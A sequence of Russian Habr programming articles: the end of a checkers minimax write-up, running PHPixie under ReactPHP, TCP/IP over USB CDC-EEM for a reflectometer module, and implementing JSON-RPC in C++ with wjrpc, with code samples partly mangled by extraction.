Для начала мы решаем задачу многорукого бандита для каждого узла, пока не будет найден узел, в котором пока ещё не все child-узлы имеют положительный для нас вариант. Затем, когда мы упираемся в потолок и задачу многорукого бандита решать больше невозможно, мы добавляем новый child-узел. После этого мы продолжаем ход, используя эвристические способы оценки ходов или же просто ходим на рандом. Самое главное что нам нужно извлечь – информацию о победителе. Эта информация распространяется вверх по дереву, обновляя информацию в каждом уже пройденном узле. Обновленные узлы увеличивают показатели количества игры, а узлы, которые совпали с победителем увеличивают показатели побед. В конечном итоге, для выбора хода берётся тот узел, который посетили наибольшее количество раз
**Минимакс**
В любой момент игры мы можем получить, и что самое главное оценить, полную информацию о поле и о текущей позиции игрока – это будет оценочной функцией. Чем большее значение принимает эта функция, тем более выгодна позиция для одного игрока, но при этом же, чем меньшее значение она принимает, тем более выгодна позиция для другого игрока. Каждому игроку необходимо выбирать узлы, в которых оценочная функция будет принимать оптимальное для него значение, а также избегать узлов, которые будут оптимальны для оппонента.
Несомненно, у каждого из этих алгоритмов есть свои плюсы и минусы, но я решил остановится на минимаксе. Однако минимакс "из коробки" не до конца оптимален и чтобы его улучшить я использовал **альфа-бета отсечение.**
Работа минимакса с альфа-бета отсечением на дереве ходовСуть его работы довольна проста: если при вызове оценочной функции становится понятно, что текущая ветка менее выгодна, чем другие ветки, которые уже проанализированы ранее или эта ветка более выгодна для оппонента, то мы просто отбрасываем эту ветку и переходим к следующей, тем самым не тратя ресурсы и время на рассмотрение заранее невыгодной для нас ветки.
Классы
------
Итак, с алгоритмом разобрались, осталось всё это дело реализовать. Я подготовил несколько классов, в каждом из которых реализовал вполне понятную логику:
* Board – описывает действия на доске, а также расчёт для стороны компьютера
* Cell – описывает клетку доски
* Checker – описывает шашку
* Combination – описывает комбинации ходов обеих стороны и пользу обеих сторон
* Move – описывает передвижение шашек по доске
Самый интересный и большой по наполнению – это класс Board. Подробно описывать все методы, которые там реализованы я не буду, не вижу в этом особого смысла. Единственное скажу, что я довольно сильно запарился над оптимизацией и скоростью работы алгоритма. Приведу в качестве примера одну из основных функций, которая высчитывает все возможные комбинации для стороны.
```
private void CalculateCombinations(List lstOfMoves,
List lstOfMovesForCombination) {
/\* lstOfMovesForCombination содержит список ходов с предыдущего уровня
\* рекурсии listOfMoves содержит список ходов одной из сторон с учетом
\* произведенных ходов в текущей комбинации \*/
// Кстати, можно добавить метод, который будет сразу оценивать
// пользу/адекватность этого хода Таким способом можно значительно сократить
// ветвление рекурсии
depthOfRecursion++;
foreach (Move item in lstOfMoves) {
if (depthOfRecursion <
limitOfRecursion) // Глубина рекурсии ограничена вручную
{
/\*
\* Здесь мы добавляем новый ход в комбинацию Получаем новый список ходов
\* оппонента с учетом хода добавленного
\* в комбинацию. И Углубляемся дальше в рекурсию \*/
lstOfMovesForCombination.Add(item);
List listOfPotentionalMoves = new List();
GetNewListOfMoves(listOfPotentionalMoves, item);
if (listOfPotentionalMoves.Count != 0) Estimate(listOfPotentionalMoves);
CalculateCombinations(listOfPotentionalMoves, lstOfMovesForCombination);
RevertMove(item);
lstOfMovesForCombination.Remove(item);
} else
/\*
\* Только здесь в конце рекурсии создаем объект Комбинация Добавляем
\* последний ход в комбинацию, переписываем весь список ходов в комбинацию
\* Добавляем комбинацию в общий список комбинаций \*/
{
Combination newCombination = new Combination();
List newListOfMovesForCombination = new List(
lstOfMovesForCombination); // ATTENTION!!! Обратить сюда внимание,
// "копирование" не полное!
newListOfMovesForCombination.Add(item);
newCombination.combinationOfMoves = newListOfMovesForCombination;
lstOfCombinations.Add(newCombination);
}
}
depthOfRecursion--;
```
Что можно улучшить?
-------------------
Когда я задал себе этот вопрос, появились весьма очевидные ответы:
* Добавить режим игры человек-человек – наверное самое простое что можно сейчас улучшить. Сейчас есть только режим игры с компьютером.
* Реализовать красивую анимацию с помощью Untiy движка
* Портировать игру на мобильные устройства (iOS/Android)
* Добавить режим игры по сети (SignalR/Socker/WCF/…)
Заключение
----------
Как итог: курсач защитил, всех всё устроило. Получил интересный опыт, не знаю вернусь ли еще к такому программированию, всё-таки сложно оно мне даётся.
Для тех кто хочет запустить игру у себя или как то улучшить её – делюсь с вами ссылкой на [Гитхаб репозиторий](https://github.com/r0binak/russian-checkers). Буду рад любым комментариям/предложениями. | https://habr.com/ru/post/669580/ | null | ru | null |
# ReactPHP ускоряет PHPixie в 8 раз

ReactPHP это сокет сервер на PHP созданный для постоянной обработки запросов в отличии от стандартного подхода с Apache и Nginx где процесс умирает по окончании обработки одного запроса. Поскольку инициализация кода таким образом осуществляется только один раз то на отдельном запросе мы упускаем весь оверхед от загрузки классов, запуска фреймворка, считывания конфигурации итд.
Ограничением тут является то, что программист должен помнить что процесс и все поднятые сервисы будут использованы множество раз и по этому доступ к глобальному или статическому скоупу не желателен. Это делает сложным использование ReactPHP с большинством фреймворков не созданных для такого подхода.
К счастью PHPixie сама отказалась от глобального и статического скоупов, что позволяет легко запустить ее из-под ReactPHP.
Для начала добавим его поддержку в проект:
```
php ~/composer.phar require react/react
```
Затем создаем файл *react.php* в корневой папке:
```
php
require_once('vendor/autoload.php');
$host = 'localhost';
$port = 1337;
$framework = new Project\Framework();
$framework-registerDebugHandlers(false, false);
$app = function ($request, $response) use ($framework, $host, $port) {
$http = $framework->builder()->components()->http();
// Строим реальную URI запроса
$uri = 'http://'.$host.':'.$port.$request->getPath();
$uri = $http->messages()->uri($uri);
// Приводим запрос к PSR-7
$serverRequest = $http->messages()->serverRequest(
$request->getHttpVersion(),
$request->getHeaders(),
'',
$request->getMethod(),
$uri,
array(),
$request->getQuery(),
array(),
array(),
array()
);
// Передаем запрос в фреймворк
$frameworkResponse = $framework
->processHttpServerRequest($serverRequest);
// Вывод ответа
$response->writeHead(
$frameworkResponse->getStatusCode(),
$frameworkResponse->getHeaders()
);
$response->end(
$frameworkResponse->getBody()
);
};
$loop = React\EventLoop\Factory::create();
$socket = new React\Socket\Server($loop);
$http = new React\Http\Server($socket);
$http->on('request', $app);
$socket->listen($port);
$loop->run();
```
Запускаем:
```
php react.php
```
Теперь перейдя по ссылке [localhost](http://localhost):1337/ видим ту же PHPixie только запущенную как сервер. Простой бенчмарк на дефолтном контроллере показал увеличение производительности примерно в 8 раз, что не удивительно если взять во внимание то на сколько меньше кода выполняется при каждом запросе. Для тех кто захочет повторить мой эксперимент заметьте что я добился наилучшего результата с библиотекой [event](https://pecl.php.net/package/event) как бекенда для ReactPHP (он может работать и без нее, но только чуть медленнее получается).
Правда сам ReactPHP вносит несколько ограничений. Во-первых вам все равно понадобится веб-сервер для статических файлов. Но самое грустное то, что из коробки он не поддерживает данные из тела запроса ($\_POST), хотя существуют [способы добиться этого](https://github.com/reactphp/react/issues/137#issuecomment-43173955).
Наличие постоянного рантайма открывает интересные возможности, как например создание чата без надобности во внешней базе данных. Конечно пока-что это только эксперимент, но если идея приживется то PHPixie может получить отдельный компонент с более широкой поддержкой ReactPHP, включая например сессии и загрузку файлов. | https://habr.com/ru/post/264725/ | null | ru | null |
# Как мы преодолевали передачу данных по USB
#### С чего все началось
Итак, в нашем замечательном приборе Беркут-ММТ (на базе PXA320 и GNU/Linux) есть не менее замечательный модуль OTDR (на базе STM32 и NutOS), представляющий собой импульсный оптический рефлектометр. Эта связка работает следующим образом: пользователь нажимает на экране на различные элементы UI, в приборе происходит немножечко магии, и желания пользователя трансформируются в команды вида «duration 300», которые уходят в измерительный модуль. Конкретно эта команда выставляет длительность измерений в 300 секунд. Модуль к прибору подключен по USB, для передачи команд поверх USB поднят CDC-ACM.
Кратенько — CDC-ACM позволяет эмулировать последовательный порт через USB. Так что для верхнего уровня наш измерительный модуль в системе доступен как /dev/ttyACM0. CDC-ACM служит для передачи команд в модуль или чтения текущих настроек/состояния модуля. Для передачи самой рефлектограммы служил USB Bulk интерфейс, который все свое время посвящал только одному — передаче данных рефлектограммы из модуля в прибор, как бинарного потока данных. В какой-то момент мы заметили, что рефлектограмма приходит к нам не полностью. Так мы открыли для себя, что USB может терять данные.
Схематично это выглядело так:

b5-cardifaced — это демон, который принимает команды по D-Bus и отправляет их в карту через CDC-ACM интерфейс. Результат выполнения посылает обратно по D-BUS.
usbgather — небольшая программка, которая работает на базе libusb и занимается тем, что выгребает из модуля рефлектограмму через USB Bulk и выдает ее на stdout.
#### Костыли и велосипеды
Сели мы и подумали — нам нужно понимать вся ли рефлектограмма к нам пришла для возможности пропуска неполных рефлектограмм. Стали мы придумывать различные хитрые заголовки, контрольные суммы и тд. Потом поняли что изобретаем ТСР. И тогда было принято волевое решение вместо USB Bulk завести TCP/IP поверх CDC-EEM. Почему CDC-EEM? Потому что CDC-EEM позволяет наиболее просто использовать USB как транспорт для передачи сетевого трафика. На самом приборе поддержка CDC-ECM в ядре есть, а модулях мы используем NutOS в качестве операционной системы и поддержка CDC-EEM и TCP/IP стек в NutOS был.
#### Фикс длинною в ~~жизнь~~ 3 месяца
Казалось бы — ни что не предвещало беды. Подняли CDC-EEM, настроили IP адреса. Ping? Есть ping! Ура. Изменили механизм передачи данных с USB Bulk на передачу данных через TCP-сокет. Вот-вот должно было наступить счастье, но тут внезапно при тестировании сеть упала с криками в dmesg о своей непростой жизни, наших кривых руках и вставшей колом очереди на отправку для нашего сетевого интерфейса. Примерно так:
```
[ 118.289339] ------------[ cut here ]------------
[ 118.293978] WARNING: at net/sched/sch_generic.c:258 dev_watchdog+0x184/0x298()
[ 118.301163] NETDEV WATCHDOG: usb2 (cdc_eem): transmit queue 0 timed out
[ 118.307726] Modules linked in: cdc_eem usbnet cdc_acm wm97xx_ts ucb1400_ts ipv6 cards button pmmct
[ 118.318671] [] (unwind\_backtrace+0x0/0xec) from [] (warn\_slowpath\_common+0x4c)
[ 118.328017] [] (warn\_slowpath\_common+0x4c/0x7c) from [] (warn\_slowpath\_fmt+0x)
[ 118.337536] [] (warn\_slowpath\_fmt+0x30/0x40) from [] (dev\_watchdog+0x184/0x29)
[ 118.346552] [] (dev\_watchdog+0x184/0x298) from [] (run\_timer\_softirq+0x18c/0x)
[ 118.355731] [] (run\_timer\_softirq+0x18c/0x26c) from [] (\_\_do\_softirq+0x84/0x1)
[ 118.364819] [] (\_\_do\_softirq+0x84/0x114) from [] (irq\_exit+0x44/0x64)
[ 118.372959] [] (irq\_exit+0x44/0x64) from [] (asm\_do\_IRQ+0x74/0x94)
[ 118.380843] [] (asm\_do\_IRQ+0x74/0x94) from [] (\_\_irq\_svc+0x44/0xcc)
[ 118.388792] Exception stack(0xc0425f78 to 0xc0425fc0)
[ 118.393819] 5f60: 00000001 c606b300
[ 118.401958] 5f80: 00000000 60000013 c0424000 c0428334 c0454bac c0428328 a0022438 69056827
[ 118.410100] 5fa0: a0022368 00000000 c0425f98 c0425fc0 c002b04c c002b058 60000013 ffffffff
[ 118.418232] [] (\_\_irq\_svc+0x44/0xcc) from [] (default\_idle+0x34/0x40)
[ 118.426367] [] (default\_idle+0x34/0x40) from [] (cpu\_idle+0x54/0xb0)
[ 118.434425] [] (cpu\_idle+0x54/0xb0) from [] (start\_kernel+0x28c/0x2f8)
[ 118.442653] [] (start\_kernel+0x28c/0x2f8) from [] (0xa0008034)
[ 118.450180] ---[ end trace d7e298087ff4c373 ]---
```
Если кратенько, буквально в двух словах — каждый сетевой интерфейс имеет таймер, который засекает время с каждой последней отправки данных и если оно превысило некий интервал — мы видим это сообщение. Дальше все зависит от драйвера — некоторые после этого нормально работают, некоторые — нет.
#### Корень зла
Все вышеперечисленное усугублялось сообщениями в dmesg о неизвестных link cmd. Добавили побольше дебага и узнали, что нам на USB host приходит ответ на echo request, который мы не посылали.
Когда ничего не работает — настает время читать документацию. Вот и мы раздобыли доку по CDC-EEM, да не откуда-нибудь, а прямо с usb.org. Оказывается первый EEM-пакет это не только кучка данных, но еще и EEM-заголовок, в котором содержится тип пакета (управление или данные) и длина данных. И да, у CDC-EEM есть свой echo request/echo response.
Но наше счастье было бы не полным, если бы не еще одна деталь — при приеме служебных пакетов модуль зависал. Наглухо. Вместе с CDC-ACM.
У нас в модуле USB было настроено так, что передача шла пакетами по 64 байта. Соответственно один Ethernet пакет бился на N пакетов по 64 и передавался через USB. Вот так:

После весьма продолжительного изучения ситуации мы пришли к выводу, что происходит вот что: мы теряем часть EEM-пакета (да, USB не гарантирует доставку). Но мы прочитали из заголовка длину и опираемся на нее. Соответственно мы из следующего пакета вычитываем N потерянных байт, а следующие данные воспринимаем как начало нового EEM-пакета и интерпретируем первые 2 байта как заголовок. А там может оказаться все что угодно. Вплоть до взведенного в 1 бита, который указывает что это служебный пакет. В совсем плохих случаях мы ловим такие данные, которые при интерпретации как EEM-заголовок дают нам Echo Response огромной длины. Гораздо большей, чем наша оперативная память. Так мы поняли что наша реализация usbnet в NutOS требует серьезных доработок.
#### Больше проверок хороших и разных
В процессе ковыряния usbnet в NutOS было выяснено, что текущий вариант вообще не готов к приему служебных пакетов. От слова совсем. Мы сделали новый вариант, который стал способен корректно обрабатывать служебные пакеты, а именно: мы смотрели тип пакета, ибо на echo по стандарту мы ответить обязаны; проверяли длину — если она больше MTU — то мы явно словили мусор. Еще нашли странность в функции, запускающей передачу данных по endpoint'у: мы проверяли — не занят ли сейчас нулевой endpoint, и если занят — просто выходили и все. Вызывающий эту функцию всегда считал что передача данных запущена, а часто получалось что нет. В итоге мы теряли данные, причем в обе стороны.
Были войны с ТСР-сокетом — иногда данные не передавались и мы не видели почему. Не знаю что руководило разработчиками NutOS, но множество функций, имеющих возвращаемый тип int в любой непонятной ситуации возвращали "-1". Некоторые из них записывали реальный код ошибки в информацию о сокете, некоторые нет. Так что пришлось позаниматься протаскиванием кодов возврата с самых низов, вроде функции отправки данных с сетевухи, до самых верхов — функций типа NutTcpDeviceWrite?(). После этого мы смогли видеть где случился затык.
Потом были всякие допиливания и донастройки таймаутов в сокете, добавки статических записей в ARP-таблицы на модуле и на самом приборе: в нашей сети всего 2 устройства: прибор и модуль, нет смысла в устаревании записей в ARP-таблице.
#### Итоги
В нашей карте теперь есть маленький ТСР сервер, который служит для передачи данных из карты в прибор. Перед началом измерений в карте запускается TCP сервер и карта начинает ждать входящих подключений. После того, как клиент подключится к ТСР серверу, карта начинает измерения и через TCP сервер отправляет результаты в прибор.
Теперь схематично работа прибора с модулем выглядит примерно так:

Действующие лица:
b5-cardifaced — тот же что и раньше — транслирует команды из D-Bus в карту и отсылает результат обратно в D-Bus;
nc — собственно netcat, читает данные рефлектограммы из сокета и отдает их на stdout для дальнейшей обработки.
После всех этих приключений у нас теперь сетевой рефлектометр. Сетевой, правда, не на все 100% — управление происходит через CDC-ACM, а сбор данных из модуля — по TCP/IP через CDC-EEM. У нас все равно есть небольшая потеря данных, но за счет использования TCP/IP на выходе мы всегда получаем полную рефлектограмму. Мы узнали много нового о USB в целом и CDC-EEM в частности и USB я стал любить чуть меньше, чем раньше.
Нагрузочный тест показал, наш модуль на базе STM32F103 может прокачать 220 килобайт данных в секунду по TCP/IP over CDC-EEM, при том что модуль в это время занимается полезной работой и USB у нас работает без использования DMA. | https://habr.com/ru/post/264293/ | null | ru | null |
# JSON-RPC на C++
В предыдущей [статье](https://habrahabr.ru/post/311262/) про декларативный JSON-сериализатор я рассказал, как с помощью шаблонов C++ можно описывать структуры данных и сериализовать их. Это очень удобно, т.к. не только сокращает размер кода, но и минимизирует количество возможных ошибок.Концепция — если код компилируется, то он работает. Примерно такой же подход применен и в wjrpc, о которой речь пойдет в этой статье. Но поскольку wjrpc “выдран” из фреймворка, под интерфейсы которого он был разработан, я также затрону вопросы архитектуры и асинхронных интерфейсов.
Я не буду описывать JSON-сериализатор, на котором работает wjrpc и с помощью которого осуществляется JSON-описание для структур данных сообщений. Про [wjson](https://github.com/mambaru/wjson) я рассказал в предыдущей статье. Прежде чем рассматривать декларативный вариант описания API сервисов для JSON-RPC, рассмотрим, как можно реализовать разбор в “вручную”. Это потребует написания большего количества run-time кода по извлечению данных и проверок, но он проще для понимания. Все примеры вы можете найти в разделе examples проекта.
В качестве примера рассмотрим API простого калькулятора, который может выполнять операции сложения, вычитания, умножения и деления. Сами запросы тривиальны, поэтому приведу только код только для операции сложения:
**calc/api/plus.hpp**
```
#pragma once
#include
#include
namespace request
{
struct plus
{
int first=0;
int second=0;
typedef std::unique\_ptr ptr;
};
} // request
namespace response
{
struct plus
{
int value=0;
typedef std::unique\_ptr ptr;
typedef std::function callback;
};
} // response
```
Я предпочитаю структуры для каждой пары запрос-ответ размещать в отдельном файле в специально отведенной для этого папке. Это здорово облегчает навигацию по проекту. Использование пространств имен и определение вспомогательных типов, как показано в примере выше, не обязательно, но повышает читабельность кода. Смысл этих typedef-ов поясню позднее.
Для каждого запроса создаем описание JSON.
**calc/api/plus\_json.hpp**
```
#pragma once
#include "calc/api/plus.hpp"
#include
#include
namespace request
{
struct plus\_json
{
JSON\_NAME(first)
JSON\_NAME(second)
typedef wjson::object<
plus,
wjson::member\_list<
wjson::member,
wjson::member
>
> type;
typedef typename type::serializer serializer;
typedef typename type::target target;
};
}
namespace response
{
struct plus\_json
{
JSON\_NAME(value)
typedef wjson::object<
plus,
wjson::member\_list<
wjson::member
>
> type;
typedef typename type::serializer serializer;
typedef typename type::target target;
};
}
```
Зачем помещать его в структуру, я рассказывал в статье, посвященной wjson. Отмечу только, что здесь определения typedef-ов требуется, чтобы эти структуры были распознаны как json-описание.
Обработку JSON-RPC сообщений можно разделить на два этапа. На первом этапе нужно определить тип запроса и имя метода, а на втором десериализовать параметры для этого метода.
**Сериализованный JSON-RPC для plus**
```
{
"jsonrpc":"2.0",
"method":"plus",
"params":{
"first":2,
"second":3
},
"id":1
}
Например, на первом этапе можно сериализовать запросы в такую структуру:
```cpp
struct request
{
std::string version,
std::string method,
std::string params,
std::string id
}
```
**JSON-описание для запросов**
```
JSON_NAME(jsonrpc)
JSON_NAME(method)
JSON_NAME(params)
JSON_NAME(id)
typedef wjson::object<
request,
wjson::member_list<
wjson::member,
wjson::member,
wjson::member >,
wjson::member >
>
> request\_json;
```
При таком описании в поля `request::params` и `request::id` json будет скопирован как есть, без какого-либо преобразования, а в поле `request::method` будет собственно имя метода. Определив имя метода, можем десериализовать параметры описанными выше структурами.
Чтобы определить имя метода, не обязательно десериализовать весь запрос в промежуточную структуру данных. Достаточно его распарсить, а десериализовать только кусок запроса, относящийся к полю params. Это можно сделать с помощью wjson::parser напрямую, но wjson предоставляет также конструкцию raw\_pair (в предыдущей статье я ее не рассматривал), которая позволит не десериализовать элементы, а запомнить его расположение во входном буфере. Рассмотрим, как это реализовано в wjrpc.
Начнем с того, что wjrpc не работает со строками std::string, а определяет следующие типы:
```
namespace wjrpc
{
typedef std::vector data\_type;
typedef std::unique\_ptr data\_ptr;
}
```
Можно рассматривать data\_ptr как перемещаемый буфер, использование которого позволяет нам гарантировать, что данные лишний раз не будут скопированы по недосмотру.
Любое входящее сообщение wjrpc попытается десериализовать в следующую структуру:
**wjrpc::incoming**
```
namespace wjrpc
{
struct incoming
{
typedef data_type::iterator iterator;
typedef std::pair pair\_type;
pair\_type method;
pair\_type params;
pair\_type result;
pair\_type error;
pair\_type id;
};
}
```
Все элементы wjrpc::incoming представляют собой пары итераторов во входном буфере. Например, method.first при десериализации будет указывать на кавычку, которая открывает имя метода, после двоеточия, во входном запросе, а method.second — на следующую позицию после закрывающей кавычки. Эта структура описывает также не только запрос, но и ответ на запрос, а также сообщение об ошибке. Определить тип сообщения достаточно просто по заполненным полям. JSON -описание для такой структуры:
**wjrpc::incoming\_json**
```
namespace wjrpc
{
struct incoming_json
{
typedef incoming::pair_type pair_type;
typedef wjson::iterator_pair pair\_json;
JSON\_NAME(id)
JSON\_NAME(method)
JSON\_NAME(params)
JSON\_NAME(result)
JSON\_NAME(error)
typedef wjson::object<
incoming,
wjson::member\_list<
wjson::member,
wjson::member,
wjson::member,
wjson::member,
wjson::member
>
> type;
typedef type::target target;
typedef type::member\_list member\_list;
typedef type::serializer serializer;
};
}
```
Здесь нет полноценной десериализации — это по сути парсинг с запоминанием позиций во входном буфере. Очевидно, что после такой десериализации данные будут валидны, только пока существует входной буфер.
Класс wjrpc::incoming\_holder захватывает буфер с запросом и парсит его в описанную выше структуру. Я не буду подробно описывать его интерфейс, но покажу, как можно его использовать для реализации JSON-RPC.
**Сначала упрощенный пример с одним методом**
```
#include "calc/api/plus.hpp"
#include "calc/api/plus_json.hpp"
#include
#include
#include
#include
#include
#include
#include
#include
int main()
{
std::vector req\_list =
{
"{\"method\":\"plus\", \"params\":{ \"first\":2, \"second\":3 }, \"id\" :1 }",
"{\"method\":\"minus\", \"params\":{ \"first\":5, \"second\":10 }, \"id\" :1 }",
"{\"method\":\"multiplies\", \"params\":{ \"first\":2, \"second\":2 }, \"id\" :1 }",
"{\"method\":\"divides\", \"params\":{ \"first\":9, \"second\":3 }, \"id\" :1 }"
};
std::vector res\_list;
for ( auto& sreq : req\_list )
{
wjrpc::incoming\_holder inholder( sreq );
// Парсим без проверок на ошибки
inholder.parse(nullptr);
// Есть имя метода и идентификатор вызова
if ( inholder.method() == "plus" )
{
// Десериализация параметров без проверок
auto params = inholder.get\_params(nullptr);
// Объект для ответа
wjrpc::outgoing\_result res;
res.result = std::make\_unique();
// Выполняем операцию
res.result->value = params->first + params->second;
// Забираем id в сыром виде как есть
auto raw\_id = inholder.raw\_id();
res.id = std::make\_unique( raw\_id.first, raw\_id.second );
// Сериализатор ответа
typedef wjrpc::outgoing\_result\_json result\_json;
res\_list.push\_back(std::string());
result\_json::serializer()( res, std::back\_inserter(res\_list.back()) );
}
/\* else if ( inholder.method() == "minus" ) { ... } \*/
/\* else if ( inholder.method() == "multiplies" ) { ... } \*/
/\* else if ( inholder.method() == "divides" ) { ... } \*/
}
for ( size\_t i =0; i != res\_list.size(); ++i)
{
std::cout << req\_list[i] << std::endl;
std::cout << res\_list[i] << std::endl;
std::cout << std::endl;
}
}
```
Здесь большую часть кода занимает формирование ответа, потому что не делаем проверок на ошибки. Сначала инициализируем incoming\_holder строкой и парсим ее. На этом этапе входная строка десериализуется в описанную выше структуру incoming. Если строка содержит любой валидный json-объект, то этот этап пройдет без ошибок.
Далее нужно определить тип запроса. Это легко сделать по наличию или отсутствию полей “method”, “result”, “error” и “id”.
| Комбинация | Тип сообщения | Проверка | Получить |
| --- | --- | --- | --- |
| method и id | запрос | is\_request | get\_params<> |
| method без id | уведомление | is\_notify | get\_params<> |
| result и id | ответ на запрос | is\_response | get\_result<> |
| error и id | ошибка в ответ на запрос | is\_request\_error | get\_error<> |
| error без id | прочие ошибки | is\_other\_error | get\_error<> |
Если не выполняется ни одно из условий, то очевидно, что запрос неправильный.
**Пример с проверками и одним методом**
```
#include "calc/api/plus.hpp"
#include "calc/api/plus_json.hpp"
#include
#include
#include
#include
#include
#include
#include
#include
int main()
{
std::vector req\_list =
{
"{\"method\":\"plus\", \"params\":{ \"first\":2, \"second\":3 }, \"id\" :1 }",
"{\"method\":\"minus\", \"params\":{ \"first\":5, \"second\":10 }, \"id\" :1 }",
"{\"method\":\"multiplies\", \"params\":{ \"first\":2, \"second\":2 }, \"id\" :1 }",
"{\"method\":\"divides\", \"params\":{ \"first\":9, \"second\":3 }, \"id\" :1 }"
};
std::vector res\_list;
for ( auto& sreq : req\_list )
{
wjrpc::incoming\_holder inholder( sreq );
wjson::json\_error e;
inholder.parse(&e);
if ( e )
{
typedef wjrpc::outgoing\_error error\_type;
error\_type err;
err.error = std::make\_unique();
typedef wjrpc::outgoing\_error\_json error\_json;
std::string str;
error\_json::serializer()(err, std::back\_inserter(str));
res\_list.push\_back(str);
}
else if ( inholder.is\_request() )
{
auto raw\_id = inholder.raw\_id();
auto call\_id = std::make\_unique( raw\_id.first, raw\_id.second );
// Есть имя метода и идентификатор вызова
if ( inholder.method() == "plus" )
{
auto params = inholder.get\_params(&e);
if ( !e )
{
wjrpc::outgoing\_result res;
res.result = std::make\_unique();
res.result->value = params->first + params->second;
res.id = std::move(call\_id);
typedef wjrpc::outgoing\_result\_json result\_json;
std::string str;
result\_json::serializer()( res, std::back\_inserter(str) );
res\_list.push\_back(str);
}
else
{
typedef wjrpc::outgoing\_error error\_type;
error\_type err;
err.error = std::make\_unique();
err.id = std::move(call\_id);
typedef wjrpc::outgoing\_error\_json error\_json;
std::string str;
error\_json::serializer()(err, std::back\_inserter(str));
res\_list.push\_back(str);
}
}
/\* else if ( inholder.method() == "minus" ) { ... } \*/
/\* else if ( inholder.method() == "multiplies" ) { ... } \*/
/\* else if ( inholder.method() == "divides" ) { ... } \*/
else
{
typedef wjrpc::outgoing\_error error\_type;
error\_type err;
err.error = std::make\_unique();
err.id = std::move(call\_id);
typedef wjrpc::outgoing\_error\_json error\_json;
std::string str;
error\_json::serializer()(err, std::back\_inserter(str));
res\_list.push\_back(str);
}
}
else
{
typedef wjrpc::outgoing\_error error\_type;
error\_type err;
err.error = std::make\_unique();
typedef wjrpc::outgoing\_error\_json error\_json;
std::string str;
error\_json::serializer()(err, std::back\_inserter(str));
res\_list.push\_back(str);
}
}
for ( size\_t i =0; i != res\_list.size(); ++i)
{
std::cout << req\_list[i] << std::endl;
std::cout << res\_list[i] << std::endl;
std::cout << std::endl;
}
}
```
Здесь большая часть кода — это обработка ошибок, а точнее, формирования соответствующего сообщения. Но для всех типов ошибок код похожий, отличия только в типе ошибки. Можно сделать одну шаблонную функцию для сериализации всех типов ошибок.
**Формирование сообщения об ошибке**
```
template
void make\_error(wjrpc::incoming\_holder inholder, std::string& out)
{
typedef wjrpc::outgoing\_error common\_error;
common\_error err;
err.error = std::make\_unique();
if ( inholder.has\_id() )
{
auto id = inholder.raw\_id();
err.id = std::make\_unique(id.first, id.second);
}
typedef wjrpc::outgoing\_error\_json error\_json;
error\_json::serializer()(err, std::back\_inserter(out));
}
```
Для формирования сообщения об ошибке нам достаточно знать тип ошибки и идентификатор вызова, если он есть. Объект inholder перемещаемый и после формирования сообщения он больше не нужен. В примере он используется только для извлечения идентификатора вызова, но у него также можно “забрать” входной буфер — для сериализации туда сообщения, чтобы не создавать новый.
Аналогичным образом можно и реализовать сериализацию результата. Но прежде чем продолжить избавляться от однотипного кода, приведем в порядок прикладную часть, которая здесь несколько затерялась и представлена всего одной строкой для каждого метода.
Интерфейсы
----------
Как я уже говорил, wjrpc выдран из фреймворка, в котором для компонентов нужно явно определять интерфейс. Причем, это не просто структура исключительно с чистыми виртуальными методами, но и предъявляются определенные ограничения к параметрам методов.
Все входные и выходные параметры должны быть объединены в структуры, даже если там будет только одно поле. Это удобно не только для формирования json-описания для запроса, когда десериализованную структуру можем передать напрямую в метод, без предварительного преобразования, но и с позиции расширяемости.
Например, во всех методах мы возвращаем число — результат выполнения операции. Смысл описывать результат структурой с одним полем, если можно числом? А входные параметры вообще можно было передать массивом (позиционными параметрами).
Но теперь представьте, что требования немного изменились, и к списку параметров нужно добавить сопроводительную информацию, либо в ответе, для операции деления, флаг, означающий, что произошло деление на ноль. В этом случае для внесения исправлений нужно “перетряхнуть” не только интерфейс и все его реализации, но и все места, где он используется.
Если у нас JSON-RPC сервис, то изменения коснутся не только сервера, но и клиента, интерфейсы которых нужно как-то согласовывать. А в случае со структурами достаточно просто добавить поле в структуру. Причем, обновлять клиентскую часть и серверную часть можно независимо.
Еще одна особенность фреймворка в том, что все методы имеют асинхронный интерфейс, т.е. результат возвращается не напрямую, а через функцию обратного вызова. А чтобы избежать ошибок непреднамеренного копирования, входной и выходной объект описывается как std::unique\_ptr<>.
Для нашего калькулятора, с учетом описанных ограничений, получается вот такой интерфейс:
```
struct icalc
{
virtual ~icalc() {}
virtual void plus( request::plus::ptr req, response::plus::callback cb) = 0;
virtual void minus( request::minus::ptr req, response::minus::callback cb) = 0;
virtual void multiplies( request::multiplies::ptr req, response::multiplies::callback cb) = 0;
virtual void divides( request::divides::ptr req, response::divides::callback cb) = 0;
};
```
С учетом вспомогательных typedef-ов, которые мы определили во входных структурах, выглядит вполне симпатично. Но вот реализация для подобных интерфейсов может быть достаточно объемной относительно простых примеров. Нужно удостовериться, что входной запрос не nullptr, а также проверить функцию обратного вызова. Если она не определена, то очевидно, что это уведомление, и в данном случае вызов нужно просто проигнорировать. Этот функционал легко шаблонизировать, как показано в примере реализации нашего калькулятора
**calc1.hpp**
```
#pragma once
#include "icalc.hpp"
class calc1
: public icalc
{
public:
virtual void plus( request::plus::ptr req, response::plus::callback cb) override;
virtual void minus( request::minus::ptr req, response::minus::callback cb) override;
virtual void multiplies( request::multiplies::ptr req, response::multiplies::callback cb) override;
virtual void divides( request::divides::ptr req, response::divides::callback cb) override;
private:
template
void impl\_( ReqPtr req, Callback cb, F f);
};
```
**calc1.cpp**
```
#include "calc1.hpp"
#include
template
void calc1::impl\_( ReqPtr req, Callback cb, F f)
{
// это уведомление
if ( cb == nullptr )
return;
// нет параметров
if ( req == nullptr )
return cb(nullptr);
auto res = std::make\_unique();
res->value = f(req->first,req->second);
cb( std::move(res) );
}
void calc1::plus( request::plus::ptr req, response::plus::callback cb)
{
this->impl\_( std::move(req), cb, [](int f, int s) { return f+s; } );
}
void calc1::minus( request::minus::ptr req, response::minus::callback cb)
{
this->impl\_( std::move(req), cb, [](int f, int s) { return f-s; });
}
void calc1::multiplies( request::multiplies::ptr req, response::multiplies::callback cb)
{
this->impl\_( std::move(req), cb, [](int f, int s) { return f\*s; });
}
void calc1::divides( request::divides::ptr req, response::divides::callback cb)
{
this->impl\_( std::move(req), cb, [](int f, int s) { return s!=0 ? f/s : 0; });
}
```
Статья все же не про реализацию калькулятора, поэтому представленный выше код не стоит воспринимать как best practice. Пример вызова метода:
```
calc->plus( std::move(params), [](response::plus::ptr result) { … });
```
